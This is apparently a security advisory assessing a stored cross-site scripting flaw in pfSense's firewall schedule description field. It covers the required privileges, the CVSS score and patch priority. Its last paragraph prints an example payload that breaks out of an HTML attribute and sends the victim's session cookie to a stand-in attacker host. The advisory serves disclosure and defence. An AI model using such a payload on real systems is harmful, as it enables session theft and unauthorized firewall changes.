pfSense CVE-2026-56128

Two simultaneous conditions are required: (1) the attacker must hold an authenticated pfSense session with the Firewall: Schedules: Edit privilege - a delegated sub-administrator role, not necessarily full super-admin access - enabling them to submit a malicious descr value via /firewall_schedule_edit.php; and (2) a separate user holding the Firewall: Rules privilege must passively load /firewall_rules.php while a firewall rule referencing the poisoned schedule is present in the configuration. Exploitation cannot proceed without the victim's browser rendering the rules page. Risk is elevated in environments that delegate the schedule-edit role to junior or semi-trusted staff. Environments where only a single fully-trusted super-admin manages both schedules and rules, or where the web interface is restricted to a management VLAN with few users, have materially lower realistic exposure.

The CVSS 4.0 score of 5.1 (AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N) is an accurate characterization: exploitation requires both a low-privileged authenticated account and passive victim interaction, substantially narrowing the exploitable population relative to unauthenticated flaws. The downstream impact is limited to the subsequent system (SC:L/SI:L) - the attacker can compromise another administrator's browser session but cannot directly disrupt system availability or access data on the underlying OS. No public exploit code has been identified at time of analysis, and the vulnerability does not appear in the CISA KEV catalog; EPSS data was not provided. In practice, even a mid-sized municipal IT team in koszalin that delegates the schedule-edit role to junior network staff should treat this as a medium-priority patch, because lateral privilege escalation within the firewall admin panel - session token exfiltration leading to unauthorized rule modifications - is a realistic secondary impact even without direct OS compromise. The risk is bounded by the requirement for role-based trust delegation to a semi-trusted user; environments where only fully-trusted super-admins can edit schedules face materially lower exposure.

An attacker with a delegated pfSense account (Firewall: Schedules: Edit role) creates a new firewall schedule whose description contains a crafted payload such as x" onmouseover="fetch('https://attacker.example/c?s='+document.cookie) - the double-quote closes the HTML attribute and injects an event handler. The schedule is attached to an active firewall rule. When a firewall administrator with the Firewall: Rules privilege next opens the rules list in /firewall_rules.php, the browser renders the attribute breakout and silently exfiltrates the victim's session cookie to the attacker's server. No public exploit code has been identified, but the attribute-context double-quote breakout technique is elementary and requires no specialized tooling.